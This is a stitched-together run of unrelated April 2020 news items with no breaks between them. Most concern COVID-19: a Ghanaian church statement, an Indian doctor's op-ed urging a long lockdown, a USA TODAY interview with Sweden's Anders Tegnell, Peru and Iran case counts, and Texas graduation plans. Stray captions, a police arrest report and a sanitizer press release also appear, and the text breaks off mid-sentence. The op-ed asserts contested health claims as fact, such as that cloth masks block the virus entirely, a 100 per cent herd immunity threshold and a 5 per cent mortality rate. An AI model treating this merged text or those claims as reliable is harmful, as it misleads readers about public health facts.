said the Commission also dedicated itself to research and the study of the pandemic in close conjunction with the Pontifical Academy for Life, the Pontifical Academy of Sciences and the Pontifical Academy of Social Sciences. Our colleagues specializing in Science and Health matters are hereby called upon to volunteer their expertise, where necessary for the success of this mission. We should not leave out the vulnerable groups such as prisoners, widows, orphans and street families, who are all going through very difficult moments due to the pandemic. We appreciate what the church is already doing to alleviate the pain the vulnerable people are going through, following the Lock Down and Curfew imposed by various countries. We should continue to pray for care and healing of our brothers and sisters as we carry out our duty as journalists guided by the church teachings, it added. Source: GNA Disclaimer : Opinions expressed here are those of the writers and do not reflect those of Peacefmonline.com. Peacefmonline.com accepts no responsibility legal or otherwise for their accuracy of content. Please report any inappropriate content to us, and we will evaluate it as a matter of priority. Featured Video 'Premature lifting of the lockdown will spread the disease from asymptomatics, and those undetected, to the whole community, ushering in prolonged misery, preventable and avoidable deaths, famine and social unrest,' warns Dr Debashish Danda. IMAGE: Health workers conduct a door-to-door survey to detect COVID-19 positive cases in Kolkata. Photograph: Swapan Mahapatra/PTI Photo I am disappointed by the passive, fatalist approach by the proponents of herd immunity. Prime Minister Narendra Damodardas Modi said it much better: Every life matters. Developing herd immunity by killing many is not the best option here. Herd immunity by natural infection may be good option in polio, smallpox and mumps. In such diseases, herd immunity during a pandemic is the best way. In the 1918 Spanish Flu pandemic, that lasted three years, it killed 20 million people out of less than 300 million people of undivided India alone then. Globally it killed between 50 and 100 million people. It was brought into India by British soldiers travelling by ship from England. Like influenza, coronavirus is a disease with highly variable surface proteins due to mutations of its strains. The flu vaccine, in every year, is freshy made, because of such changes; it used to be called 'antigenic shift and drift' during our MBBS days. Moreover, infectivity in COVID-19 is the highest known to mankind ever, therefore it is likely to have a very high R0 and as the health ministry said, one positive case from a Delhi cluster had infected up to 405 people. Higher the R0, higher is the HIT (herd immunity threshold). In polio and smallpox with R0 between five and seven, 80 to 85 per cent of the population must get naturally infected or vaccinated to generate herd immunity in a community. These diseases now have vaccines. But before that it took almost 100 years to eradicate them by herd immunity. IMAGE: Medics collect swab samples of residents in a COVID-19 hotspot in New Delhi. Photograph: Shahbaz Khan/PTI Photo But these diseases don't kill that many, so it was somewhat okay to wait to have herd immunity even by natural infection. Ebola and flu have Ro between 1 and 2 with HIT between 30 and 50 per cent. It means, if 30 to 50 per cent of the population gets infected, the community gets herd immunity. They have fairly high mortality too. But with so high infectivity and 10 times higher mortality than flu, with no drug or vaccine at least for next 18 months, COVID-19 is likely to have high HIT, may be 100 per cent. That means 100 per cent population must get infected, before herd immunity develops. If 100 per cent Indians are infected by letting it loose, it will kill 60 million to 70 million Indians within next two months, with a 5 per cent mortality. Is it not senseless to allow this to happen? People who are 50 plus, with hypertension, diabetes, heart/lung disease would constitute 80 per cent of COVID-19 deaths, who would not have died otherwise. IMAGE: A paediatrician checks an infant for ailments in Gaya. Photograph: PTI Photo Breaking the chain by prolonged lockdown, targetting, tracing, testing, isolating and treating positive cases, following all hand hygiene steps, wearing of masks by all (simple, double-layered, homemade cloth masks that are not shared with anyone, soap washed, disinfected and sundried will do). The COVID-19 virus is a large-sized virus that cannot enter through a double-layered cloth mask and you don't need N95 masks for everyone in the community, except the frontline staff dealing with COVID-19. That and physical distancing (with social closeness maintained via phone/social media) wearing glasses and cough/sneeze/no spitting etiquette can save lives, by breaking the chain. Quarantined people also should not be exposed to each other, as no one knows who will turn out to be positive in two weeks. In India, anyone coughs and sneezes anywhere without covering their face and without any warning, Therefore, a mask is a must. Non-stop minimum eight weeks of strict lockdown is recommended by mathematical modellers, considering up to two weeks of incubation period and six weeks of viral persistence in human body. IMAGE: Dr Debashish Danda IMAGE: Dr Debashish Danda The covid viral particle does not live forever and unless it is transmitted to another human host, it meets its dead end, by this period in most, if not all. Family members at home should identify people with cough, fever, breathlessness to be subjected to tests, and if positive, isolated, treated and contacts quarantined. Eight weeks lockdown can end virus multiplication in most asymptomatic carriers too, except in some cases, where the virus may have unusually higher incubation period and longer viral persistence in the body. That is rare and hopefully they will acquire herd immunity. Breaking the chain by these steps mentioned above is, therefore, the most economic way and lifesaving. It will be barbaric to let people die to render herd immunity to society. IMAGE: Police personnel stop commuters in Amethi during the national lockdown. Photograph: PTI Photo Regarding the economy, it is shortsightedness to lift the lockdown prematurely. Singapore had a resurgence after two weeks of lifting a short lockdown. Vietnam controlled it well by strict measures. The economy will get ravaged if the lockdown is prematurely lifted (anything short of eight to 10 weeks). On the other hand, a strict lockdown along with testing and isolation will save us in a much better way. If we follow strict, nonstop, 8 to 10 weeks of lockdown, maybe it will peak by May. By July end, it should come to a state like Wuhan is now, as many predict. Of course, lifting of the lockdown has to be gradual, graded and guarded, under close monitoring, so that one can go back to stringent measures if small outbreaks/clusters start reappearing. Till then no business house should be restless. It is in their best interest that they feed the poor now and India can feed its people for up to even six months. After six months and thereafter, the economy will bounce back with some initial slowness. We can't help it. IMAGE: A farmer on the outskirts of Chandigarh harvests wheat during the national lockdown. Photograph: PTI Photo Premature lifting of the lockdown will spread the disease from asymptomatics, and those undetected, to the whole community, ushering in prolonged misery, preventable and avoidable deaths, famine and social unrest. The government must also specially protect farmers by buying their produce and supporting them to continue cultivation; otherwise, food shortages leading to famine in six months is a real possibility. Farmers, like healthcare workers, sanitation staff and high risk people should be given extra protection from the COVID-19 disease. If there is no one fit to grow food, it will be another disaster. The PM must follow correct advice, should continue to be mindful using his best wisdom to pick the right choice in his decision making, uninfluenced by any superstition, crony capitalist pressure etc; and he has already taken a several good steps. Kerala, Odisha and Rajasthan to some extent, are doing well. IMAGE: Sikh devotees prepare rotis in the community kitchen of a gurdwara, to be distributed among the needy, in New Delhi. Photograph: Kamal Kishore/PTI Photo The PM must explore everything before taking a call and must extend lockdown till a nonstop 8 to 10 weeks are crossed, by which time the life cycle of the virus will end in a large majority. This lockdown period, along with case detection by tests will, therefore, significantly reduce the community load of the virus, which can be easily be handled eventually, apart from saving many lives. Life is first. Economy is Priority Two. If people die by the blunders of our leaders, our economy will spiral into unending misery for years. Charity and controlling the pandemic to save lives by breaking the chain, is the only economic investment now. These aspects should not be trashed by short-sighted capitalist economists as wasteful expenses without yielding profit or income. Ending the pandemic faster without loss of many lives is the only profit or income we can and we should aim for now. IT IS THE ONLY WAY LEFT NOW. Dr Debashish Danda is the professor and founder of the department pf Rheumatology and Clinical Immunology at CMC, Vellore. He is currently the president-elect of the Asia Pacific League of Associations for Rheumatology. Ministers are being urged to inject cash into the government body responsible for workplace safety during the coronavirus pandemic, as figures show funding has been slashed dramatically over the last decade. Coinciding with International Workers Memorial Day, Labour said that when the lockdown is relaxed, employees across the country deserve to know that offices and places of work are safe when they reopen. Using figures from the House of Commons Library, the party said funding for the Health and Safety Executive had decreased significantly from 239m in 2009-10 to 135m in 2017-18. Total staffing figures at the government agency has also fallen dramatically, from 3,702 to 2,501 while the number of inspectors dropped from 1,495 to 978 in the same period. Andy McDonald, the shadow employment rights minister, said: A decade of cuts has undermined protection for people at work, increasing the risk to their health, safety and welfare. The Health and Safety Executive has been so stripped of staff and resources by years of austerity that fewer and fewer prosecutions are ever brought, leaving workers at risk in unsafe conditions. He added: The coronavirus has highlighted the extent to which we rely on so many workers who have been undervalued by successive Conservative governments. As we remember those who died, now is the time to commit to fight for the living. When those whose workplaces have been closed begin to return to work, they deserve to know that they are doing so safely. There is an urgent need for the government to provide proper resources to save the lives of workers during the crisis and restore long-term funding so that all workplaces can be made safe. The party also highlighted that there had been a fall in the number of prosecutions, pointing to reports the Health and Safety Executive helped secure 361 convictions in 2018-19 a drop of 46 per cent from 2015-16. Sarah Albon, the chief executive of the Health and Safety Executive, added in a blogpost published on International Workers Day: Its significance for us, as the national workplace health and safety regulator, really cant be overstated. The opportunity to take a minute (even virtually), to reflect and to remember those whove died at or because of work is so valuable and a clear reminder of why the Health and Safety Executive exists. A spokesperson for the Department for Work and Pensions responsible for funding the body said: We spend around 130 million a year supporting the Health and Safety Executive to safeguard workplaces with integrity, professionalism and rigour making Great Britain one of the safest places to work in the world. HSE is playing a crucial role in the governments response to Covid-19 and we will continue to work closely to ensure it has the resources it needs moving forward. Sweden, unlike its Nordic neighbors Denmark and Norway and virtually every other country in the western world has resisted extensive lockdown restrictions to stem the coronavirus outbreak. Instead, it's largely kept society, including schools and restaurants open, and relied on voluntary social-distancing measures that appeal to the public's sense of self-restraint. Polls show the strategy is broadly supported by most Swedes. Scientists in Sweden and abroad have accused the country of dangerously pursuing "herd immunity" the idea that by building a broad base of recovered infections in society the disease will eventually stop spreading because a majority of people will not be susceptible. "Herd immunity" is usually achieved by vaccination and takes place when a large enough percentage of the population are immune. Coronavirus live updates: Model predicts more US deaths as Texas, other states weigh reopening; Blue Angels to honor health workers Anders Tegnell, chief epidemiologist at Swedens Public Health Agency the nation's top infectious disease official and architect of Sweden's coronavirus response denied that "herd immunity" formed the central thrust of Sweden's containment plan, in an interview with USA TODAY. Yet he also said the country may be starting to see the impact of "herd immunity." This is a lightly edited transcript of USA TODAY's interview with Tegnell. From six to 95 years old: These are survivors of coronavirus 'Can't imagine why': Donald Trump denies responsibility for disinfectant confusion after some states report increased calls What's the latest from Sweden? Tegnell: We are doing two major investigations. We may have those results this week or a bit later in May. We know from modeling and some data we have already these data are a little uncertain that we probably had a transmission peak in Stockholm a couple of weeks ago, which means that we are probably hitting the peak of infections right about now. We think that up to 25% of people in Stockholm have been exposed to coronavirus and are possibly immune. A recent survey from one of our hospitals in Stockholm found that 27% of staff there are immune. We think that most of those are immune from transmission in society, not the workplace. We could reach herd immunity in Stockholm within a matter of weeks. Story continues (Editor's note: The World Health Organization has warned that individuals who have had COVID-19 are not necessarily immune, by the presence of antibodies, from getting the virus again. They might be, but the scientific work hasn't reached the stage where that has been conclusively proved. Tegnell said that, at the population level, if antibodies can't be viewed as an indication of immunity then this undermines the whole rationale for developing a vaccine. "If you can't get population immunity how can we then think a vaccine will protect us?" he said. The precise percentage required for "herd immunity" changes based on the disease. Britain briefly entertained a "herd immunity" strategy before altering course amid a rapidly rising death toll. Britain's chief scientific officer concluded that a figure of 60% might be needed for COVID-19. It could be months before a fuller picture emerges of who remains vulnerable to coronavirus.) Epidemiologist Anders Tegnell on April 20, 2020 in Solna, Sweden. New science: Why Iceland has tested more people for COVID-19 than anywhere else What is Sweden's COVID-19 strategy? Tegnell: We are trying to keep transmission rates at a level that the Stockholm health system can sustain. So far that has worked out. The health system is stressed. They are working very hard. But they have delivered health care to everybody, including those without COVID-19. That is our goal. We are not calculating herd immunity in this. With various measures, we are just trying to keep the transmission rate as low as possible. The amount of cases has been stable for the last two-to-three weeks. We believe herd immunity will of course help us in the long run, and we are discussing that, but it's not like we are actively trying to achieve it as has been made out (by the press and some scientists). If we wanted to achieve herd immunity we would have done nothing and let coronavirus run rampant through society. We are trying to keep the transmission rate as low as we can. We have taken reasonable measures without really hurting health care or schools. We are going for a sustainable strategy; something we can keep on doing for months. Coronavirus is not something that is just going to go away. Any country that believes it can keep it out (by closing borders, shuttering businesses, etc.) will most likely be proven wrong at some stage. We need to learn to live with this disease. What has voluntary social distancing meant for Sweden's economy? Tegnell: You'll need to ask our economists. I know nothing about this. But at a glance it looks to me that Sweden's economy is doing a lot better than others'. Our strategy has been successful because health care is still working. That's the measure we look at. (Editor's note: Swedens COVID-19 strategy may ultimately result in a smaller albeit historically deep economic contraction than the rest of Europe is now facing, according to a recent Bloomberg article, citing an HSBC Global Research economist. Surveys show that about half of Swedes are working from home, use of public transport is down by about 50% and economic activity has slowed. But shops, restaurants and hair salons remain open. Still, Sweden's Finance Minister Magdalena Andersson has warned that annual GDP could shrink by 10% and unemployment rise to 13.5%. Economic forecasts for the U.S. vary. Some economists believe GDP will suffer a double-digit decline in the second quarter. The Congressional Budget Office forecasts a whopping 28% annual decline for U.S. GDP, but this assumes four consecutive quarterly declines of 7%. Many economists predict the U.S. economy may rebound this summer. The March unemployment rate in the U.S. stood at 4.4%. White House economic adviser Kevin Hassett has forecast that the figure for April could soar to 16-17%.). Have Sweden's voluntary measures led to more deaths more quickly than if it had imposed a mandatory lockdown? Tegnell: We don't really know yet. What the crisis has shown is that we need to do some serious thinking about nursing homes because they have been so open to transmission (more than a third of Sweden's COVID-19 fatalities have been reported in nursing homes) of the disease and we had such a hard time controlling it in that setting. However, this is only indirectly related to our strategy because the strategy was to protect those people and that part of it did not work out. This is perhaps not a surprise because there has always been a problem with running these homes safely in Sweden going back a long time. That's something we are taking advice on now and that we intend to do better on. (Editor's note: Sweden has a population of 10 million people, about twice as large as its nearest Scandinavian neighbors. As of April 28, the country's COVID-19 death toll reached 2,274, about five times higher than in Denmark and 11 times higher than in Norway, according to John Hopkins University's coronavirus tracker.) A man wearing a protective mask walks in the rain past the Royal Swedish Opera (at left) in Stockholm, Sweden, on April 27, 2020. What if your strategy fails? Plan B? Tegnell: It's not just me running this. It's the entire agency and the government. We are all having continuous discussions about what we are doing and whether it's the right thing. So far everyone is reasonably OK with it, with the exception of the high proportion of deaths in nursing homes. But it's also accepted that this is to a great extent a separate problem. Crucially, the public is on our side. They are worried, about the economy, but not that the disease is spreading uncontrollably in Sweden. We have many reasons to think that we are doing the right thing. It's true that our death toll is higher compared to Denmark and Norway, but we have a lot of other things going for us. If you compare us to other countries in Europe who have severe lockdowns we are doing at least as good as them and in many cases better. Every country is wondering whether they are doing the right thing. What's happening now is that many countries are starting to come around to the Swedish way. They are opening schools, trying to find an exit strategy. It comes back to sustainability. We need to have measures in place that we can keep on doing over the longer term, not just for a few months or several weeks. What's your take on the US strategy? Tegnell: I don't know it well enough but it still seems to me that the Americans let coronavirus go too far before any real strategy came into place. One of the real big problems in the beginning was the lack of testing. I'm also not really sure how well the U.S. health system can change as dramatically as we in Sweden have been able to, for example. We have almost double the intensive care capacity that we had a couple of weeks ago. Being centrally organized and steered (as part of a state-funded system) allows for greater flexibility in changing the health system. I'm not sure how well that can be done in the U.S. with all the private actors and insurance firms. It may make it more difficult to handle this kind of situation. (Editor's note: According to the most recent data available, published by the National Institutes of Health prior to the coronavirus outbreak, the U.S. had between 20-31 intensive care bed units per 100,000 people; Sweden had been between 6-9 per 100,000 people. After a slow start, U.S. testing has accelerated.) NIH chief on COVID-19:Best response one people would find 'too drastic' This article originally appeared on USA TODAY: Coronavirus: Sweden's Anders Tegnell stands by unorthodox strategy Heart disease has remained a serious issue faced by both men and women. However, a recent study uncovers and explains that minerals that block heart valves in men are different from those that affect women. Using the Canadian Light Source (CLS) at the University of Saskatchewan, Marta Cerruti, an Associate Professor in McGills Department of Materials Engineering, and her team analyzed damaged heart valves from patients who had undergone transplants. Recently published in Acta Biomaterialia, the teams findings show considerable differences in the mineral deposits found in aortic valves of men and women who suffer from stenosis, a life-threatening heart condition caused by a narrowing of the aortic valve opening. What we showed, which was a surprise to us, is that the type of minerals in the heart valves is different between the sexes, said Cerruti. We unexpectedly found that the minerals are different in composition and shape and that they grow slower in women, Cerruti added. Mineral composition analysis performed at the Soft X-Ray Mischaracterization Beamline, which is housed within the CLS, also determined that a type of mineral deposit was found almost exclusively in samples from female patients. Cerruti says that her findings demonstrate the importance of thinking about diversity in the context of research, a concept that has historically been a blind spot for the scientific community. For example, using only male mice in experiments used to be standard practice. Our study is the perfect illustration that by only looking at a specific population, you will skew your data, she says. Having a more diverse data set improves your science, she added. With 280,000 heart valves being replaced every year in Canada due to stenosis, Cerruti said that her work demonstrates the need to develop different diagnostic and therapeutic approaches when treating aortic stenosis in men or women. In order to make that happen, Cerrutis group will return to the CLS to further investigate this cardiovascular phenomenon and understand the precise composition of the mineral deposits they found in women. Understanding what the minerals are could definitely help to develop a cure, she said. Its possible that there could be easier ways to target these minerals and dissolve them for women, she added. (This story has been published from a wire agency feed without modifications to the text. Only the headline has been changed. ) Follow more stories on Facebook and Twitter SHARE THIS ARTICLE ON The BJP MLA from Mangaluru South, D Vedavyas Kamath, has criticised Kerala Chief Minister Pinarayi Vijayan for adopting "double standards" on the issue of sealing the border between states in the wake of COVID-19 spread. In a tweet, Kamath said the Kerala government, which has now sealed all its borders with Karnataka and Tamil Nadu after the spread of coronavirus in these states, had moved court when Karnataka took such a step when there was rapid spread of coronavirus cases in neighbouring Kasaragod district of Kerala. In a tweet, Kamath said, "Now we can clearly see the Double Standards of @vijayanpinarayi, sealing the borders of TN and KTKA. When DK Administration closed borders as Pro-active procedures, Kerala CM went to SC and now seals his own state borders.This is a Facepalm moment." Kerala had recently moved the Supreme Court after Karnataka closed the NH border at Talapady prohibiting even the entry of critically ill patients from the neighbouring Kasaragod district on their way to hospitals in the city. The Dakshina Kannada district administration took the step as Kasaragod reported the most number of COVID-19 cases at that time. The Supreme Court had then ordered conditional access to patients across the border. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) Local school districts are starting to announce graduation plans, including Northside Independent School District, which said its June ceremonies will be postponed to July 17-26 and might be held virtually if prohibitions on large gatherings are not lifted by then. Having shifted classes to remote learning in March, school superintendents delayed decisions on end-of-year traditions, hoping the coronavirus pandemic could be contained in time for high school seniors to walk the stage and receive diplomas with their families watching. Gov. Greg Abbott last week ordered schools to stay closed for the rest of the spring semester, and Tuesday the city of San Antonio released its COVID-19 health transition team report, a guide to reopening sections of the economy that foresees allowable gatherings still limited to 50 people. There is no set time for how long the limitations will continue, so commencement dates in July at Northside, the citys largest district, remain uncertain. But in an interview before announcing the postponement to families, Superintendent Brian Woods said hes a big believer in hope. Required Reading: Get San Antonio education news sent directly to your inbox Northside ISD still maintains hope that we can provide an in-person graduation event, Woods wrote in the announcement. However, we are committed to keeping students, families, and staff safe and will adhere to recommendations from public health authorities regarding large gatherings. District officials are planning for a virtual graduation in case in-person graduations in July are not possible. High school campus officials will reach out to students with instructions for picking up their caps and gowns and how to submit photos for virtual graduation ceremonies, which likely would be held in early to mid-summer, Woods said. Initially scheduled for late May and early June, graduations for San Antonio ISDs 14 high schools have been pushed back to July 24 through Aug. 1. Students earning high school equivalency certificates will have a July 25 ceremony. Ceremonies for the seven comprehensive high schools will be held at the Alamodome, while the smaller schools will go to the Alamo Convocation Center. The Advanced Learning Academy and the Young Womens Leadership Academy will find out after June 30 whether they can graduate at Trinity Universitys Laurie Auditorium, SAISD spokeswoman Leslie Price said. If there are still restrictions at that time, then we would have semi-virtual or virtual events, Price said. Well just have to adapt as we learn more information. Boerne ISD, which has one of the areas earliest graduation dates, formed a committee to explore options for its ceremonies. Its commencements originally were slated for May 21 and 22. Harlandale ISD still is trying to hold its ceremonies in the first week of June at Harlandale Memorial Stadium, but with July 20-22 designated as backup dates, Superintendent Gerardo Soto announced Monday. Graduates each will be limited to four guests and all will need to wear masks and be subject to having their temperatures taken, with graduates spread across the football field and their guests across the bleachers, Soto said. The largest graduating class in Harlandale ISD has 400 students and the stadium, which seats 10,000 people, can provide plenty of space for social distancing, said Melissa Casey, assistant superintendent of curriculum and instruction. Its about finding a balance between what you know you cant do, what you hope to do and what everybody wants you to do, Casey said. A live-streamed ceremony with only graduates present also is an option, Soto wrote in a letter to families, adding: The ultimate goal is to ensure every student has the opportunity to cross the stage in academic regalia as we honor their determination and perseverance throughout their school years. Until the governors announcement, families had been optimistic students would return for some portion of the school year, and people were clearly not ready to find out otherwise, Casey said. The emotional reaction of some parents elevated graduation planning as a priority, she said. Staff writer Alia Malik contributed to this report. Krista Torralva covers several school districts and public universities in the San Antonio and Bexar County area. To read more from Krista, become a subscriber. Krista.Torralva@express-news.net | Twitter: @KMTorralva (Bloomberg) -- Peruvian President Martin Vizcarra said some coronavirus restrictions can likely begin to be lifted next month even as cases rise due to a surge in testing over the past week. The greater number of cases, now second in Latin America behind Brazil, can be explained by a 15-fold increase in testing. Medical staff tested more than 15,000 people on Monday compared with about 1,000 a day a week earlier when authorities were limited to using more expensive, and scarcer, molecular tests, Vizcarra said. The Andean country reported 10,303 cases on Tuesday with deaths doubling in the past seven days to 230, the fourth-highest count in the region behind Brazil, Ecuador and Mexico. The number of people tested jumped to more than 102,000, second only to Brazil with a population seven times larger. Vizcarra decreed a nationwide lockdown on March 16 with some of the regions most stringent containment measures, ten days after reporting the first case of the virus. He went on to announce the biggest economic stimulus package in the Americas, including cash handouts and cheap business loans. Read More: Virus Lockdown Cut Movement 89% in Peru, Double Rate of Mexico His decision to shutdown much of the economy will drive the country into a recession, with growth set to contract 4.5% this year, the International Monetary Fund said on Tuesday. The tough lockdown rules appear to be paying off. Slowing growth in the number of patients requiring hospitalization and ventilators mean the country is on the right track and can plan for a gradual reopening of the economy next month, Vizcarra said. Were semi-paralyzed as a country, he said. Were going to restart activities during May, gradually, slowly so as not to trigger a resurgence of the illness. Chile, with a population of 18 million, has about 7,500 cases and has carried out a similar number of tests as Peru. Mexico, on the other hand, with 126 million people, has lagged on testing and reported just 5,000 cases. Story continues (Updates number of cases in third paragraph, adds Vizcarras comment in seventh.) For more articles like this, please visit us at bloomberg.com Subscribe now to stay ahead with the most trusted business news source. 2020 Bloomberg L.P. US sanctions jar with fundamental human rights: Rouhani Iran Press TV Monday, 27 April 2020 10:15 AM President Hassan Rouhani says the United States' illegal sanctions against Iran are at odds with the fundamental principles of human rights. Rouhani made the remarks in a phone call with his Indonesian counterpart Joko Widodo on Monday. "[Such] illegal instances of opposition can prove dangerous in circumstances when all of the countries of the world are engaged in fighting the coronavirus," the Iranian president added. The US returned the sanctions in May 2018 after unilaterally withdrawing from a nuclear agreement among Iran and other countries that has been endorsed by the United Nations Security Council. Iran sued the US at the International Court of Justice afterwards. The tribunal ruled that the US should lift its sanctions on humanitarian supplies. Washington alleges that it has exempted foodstuffs and medicine from the bans. Tehran roundly rejects the claim. Washington has also refused to lift its sanctions amid the viral pandemic which has complicated Iran's battle against the outbreak. The virus that can lead to a fatal respiratory infection called COVID-19 has so far claimed 5,806 lives in Iran. The death toll from the outbreak of new coronavirus in Iran rose by 96 in the past twenty four hours, Health Ministry spokesman Kianush Jahanpour said in a statement on Monday. The total number of diagnosed cases of new coronavirus in Iran has reached 91,472, he said, adding 70,933 patients have also recovered and been discharged from hospital so far. Rouhani and Widodo stressed the need for further development of amicable and brotherly ties between Jakarta and Tehran in all areas in the best interests of their nations. The countries need to expand their cooperation concerning the ongoing battle against the outbreak, exchange experiences, share relevant scientific and technological achievements, and cater to each other's possible needs, they added. Rouhani said Iran has been successful in the scientific and technological fields that pertain to the fight against the coronavirus as well as the production of its requirements in the area, including diagnostic kits, ventilators, CT scan equipment, and protective N95 facemasks. The Islamic Republic is, therefore, prepared to engage in cooperation and interaction with Indonesia in the area, he added. For his part, the Indonesian president voiced delight in Tehran's success in the face of the novel virus. Today, the coronavirus has faced the world with a tough situation, he said, adding all countries, especially the Muslim ones, ought to provide one another with assistance. NEWS LETTER Join the GlobalSecurity.org mailing list Enter Your Email Address 28.04.2020 LISTEN The attention of our Platform has been drawn to a very commendable public pronouncement by the President of the Republic of Ghana, His Excellency Nana Addo Dankwa Akufo Addo, to the effect that the current Government of Ghana was going to construct eighty-eight (88) District Hospitals, three (3) Emergency Response Centres in the three geographical zones and six (6) Regional Hospitals to be set up in the six (6) newly created regions to be completed within one year commencing this year 2020. This assurance was part of his eighth (8th) radio and television address to the nation since the first case of the Coronavirus in the country. The intention of the Government has been occasioned which has been by the apparent inadequacies in the infrastructural needs of the health sector as exposed by the rampaging Coronavirus which is also referred to as Covid-19 has come as a relief to the people of Ghana. However, we of this Platform want to draw the attention of the Government to the following: - 1. Article 35 Section 7 of the 1992 Constitution under the Directive Principle of State Policy states emphatically that "As far as practicable, a Government shall continue and execute projects and programmes commenced by the previous Government". 2. It is well known that this constitutional directive is not adhered to by one government after the other. It is our belief that the Coronavirus has taught us a lesson to henceforth go strictly by this directive. Uncompleted school projects, markets, hospitals, CHPS compounds, roads, electricity projects, water projects, housing projects, and many others the previous governments started with the taxpayers' money have been abandoned to rot while there is the urgent need to complete them for the benefit of the Ghanaian taxpayer. 3. In as-much-as we members of the Platform do not doubt the capacity and capability of the Government to fulfill this promise, we of the Platform wish to counsel President Akuffo Addo to use part of the funds earmarked for the numerous Health Facilities he intends to construct with effect from this year to be channeled first into the completion and commissioning of all the abandoned hospitals and other Health Facilities such as the Kumasi Regional Hospital, Tepa Hospital, Madina Hospital, Nsawkaw Hospital, Wa Hospital, Konongo Hospital, Salaga Hospital as well as the Military Hospital at Sawua in the Ashanti Region, Sekondi Metropolitan Hospital, Takoradi Metropolitan Hospital. Abetifi District Hospital, Garu District Hospital, Dodowa District Hospital among others. 4. The Government must complete, equip and commission them for our immediate use. 5. Finally, we implore the Government to disburse some of the funds to the various district, municipal and metropolitan Assemblies to complete the over four hundred (400) abandoned CHPS compounds scattered all over the country. Issued by; NANA KWAKU ASANTE-NKETIAH GENERAL SECRETARY HON. MOHAMMED KWAKU DOKU EXECUTIVE DIRECTOR Last week, Adams came down with a fever. Her caretakers at the Inspire Rehabilitation and Health Center, where she lived, called Campbell to say it was nothing to worry about. The next day, she was transferred to George Washington University Hospital, where she tested positive for covid-19. 3 1 of 3 Robin Jerstad /Contributor Show More Show Less 2 of 3 Robin Jerstad /Contributor Show More Show Less 3 of 3 The San Antonio Restaurant Association, Culinaria, Visit San Antonio and The CE Group are teaming up with local restaurants to raise funds for the San Antonio Food Bank while also supporting area eateries. Aiming to raise $150,000, To Go For Good is a dining-out program that invites the community to enjoy a meal while supporting the Food Bank, which is feeding 120,000 people weekly during the coronavirus pandemic, more than double what it did before COVID-19. Southside's police chief currently on medical leave from the department was arrested and charged with public intoxication late Saturday afternoon, Mayor Wally Burns said. Christopher Scott Jones, 51, was released Sunday on $500 bond. Jones has been on medical leave for several weeks. Burns said officers responded to a 911 call Saturday that reported a man threatening a subject on Snyder Road. He said officers arrived to find that the man allegedly making threats was Jones. "He was highly intoxicated," the mayor said, and officers tried to talk to him for "quite a while," but eventually, felt they had no choice but to take him into custody. "I have to commend our officers," Burns said. "They acted very professionally. They treated him as they would anyone else," in a very difficult situation. Burns said Jones' future with the department is something he and the City Council will have to look at. He said he did not expect Jones will return to his position. 2020 The Gadsden Times, Ala. Visit The Gadsden Times, Ala. at www.gadsdentimes.com Distributed by Tribune Content Agency, LLC. Landra Gould, widow of senator Harry M. Reid, pays respects at his casket at the U.S. Capitol on Wednesday. (Tom Williams/CQ Roll/Bloomberg News) The former Senate majority leader was remembered as a pragmatic dealmaker who became a political force across two presidencies. Storehouse Food Bank coordinator Laura Bogner (C) with donations delivered to the food bank by the Durham Regional Police Service and partners, in Ajax, Ont., on April 22, 2020. (Courtesy of Laura Bogner) Feeding the Hungry Amidst the Pandemic Immersed in a constant stream of COVID-19 statisticsof cases, deaths, job losses, and business closuresits easy to forget that theres another side of the story. There are the large numbers of people who have recovered, which brings hope, and those who have stepped forward to help out in these unsettling times. Amongst the darkness, there is a lot of light, said Laura Bogner, coordinator for the Storehouse Food Bank, a mission of the Southside Worship Centre in Ajax, Ont. Bogner got involved in the food bank nine years ago, when it serviced around five families per week. By early 2020, before the pandemic struck, the average had grown to between 15 and 20 families per week, all served on one day. The Storehouse now operates five days a week while also doing deliveries to seniors and those with COVID-19. But as much as the demand has increased, so have the donations and the offers to help stack, sort, and clean. There are two to four donations a day from anybody and everybody, including neighbours, companies, even another food bank that could no longer operate because its volunteer team was comprised of seniors. Now, donations have almost exceeded the number of food bank recipients. This is not the norm by any means, but its just some of what the team at Storehouse has experienced, including, in turn, being able to give to other food banks. I had the local Legion donate their chips. I had Marshalls donate all their candy and chocolate, which has been a nice little bag of comfort that I give to all the families, said Bogner. But apart from the donations, its the people who make this story so special. A family came to pick up food but wanted to help after seeing the Durham Regional Police Service drop off donations with a forklift. I was like, no you dont have to earn your food, Bogner joked. A person who was a recipient before the pandemic called to ask if the food bank was still running, not to receive but to donate. Others just want to be a part of something meaningful. They all just want to be a part of something positivesomething that helps, Bogner said. Not just that were in our houses, and were doing this together. We talk about thatCOVID, were in this together. But it doesnt feel like that. Its a great saying but its not changing how we feel. But people come over and say, I just want to touch something positive that really does mean were in this together, and I did this for somebody else. She went on to say that people need motivation outside of themselves. Some people arent seeing staying at home as doing it for somebody else. They mostly think theyre keeping themselves safe, so theyre still not feeling that they can make a difference. So, people giving is them helping. From the one-time volunteers to the regular Storehouse team, they are all a part of a caring lifeline that is reaching out to those in need. Bogner says 85 percent of the Storehouses clients are now first-timers. You hear them go from anxiety to where they can breathe again, and it may only be for a few weeks of food, she said. But just hearing that change in their voice to say, Thank you. I can feed my family now. Helping to take part of that weight off is incredible. Its important to the Storehouse team to make families feel comfortable and unembarrassed for having to avail of the food bank. Many have lost their job, applied for the Canadian Emergency Response Benefit, and just need help with groceries. In Bogners various roles at the Southside Worship Centre, shes helped out in all sorts of situations, from babysitting children whose parent had to be rushed to hospital because of a suicide attempt to caring for those who care for others, like the nurse at a hard-hit long-term care home who works 14-hour days and has seen at least 40 of her residents pass away from COVID-19. Ive seen heartbreak, but somehow too Ive seen the most incredible moments of people giving and sharing and wanting to even just be a part of it, she said. If we just open our eyes, we will see some light. Ive seen just as much good as Ive seen hardship. When I think of what must fuel the Hawaiian economy, I think of two things. One is the United States military and their bases there, and tourism.Here is a factoid that will make you glad -- not to be in Hawaii. Normally they have 30,000 tourists coming to the islands each day. One day last week they had a total of 80 arrive. All international flights are cancelled.They are in deep doo-doo economically if they cannot open up for business. Even Hawaiian Air is not flying to Hawaii! Worldwide Hand Sanitizer Market to cross USD 3.6 Bn by 2026 Phoenix, Arizona--(Newsfile Corp. - April 28, 2020) - SinglePoint Inc. (OTCQB: SING) ramping up effort to meet in bound demand for hand sanitizer and other sanitizing products. The company recently entered into an LOI that quickly progressed to a JV Agreement with Box-Bioscience. The agreement will provide both parties with the capability to enhance supply and expand sales opportunities of hand sanitizer. The product is current sold in a variety of sizes ranging from 2oz to truckloads for bulk supply. With the successful rollout of Klen, SinglePoint has been 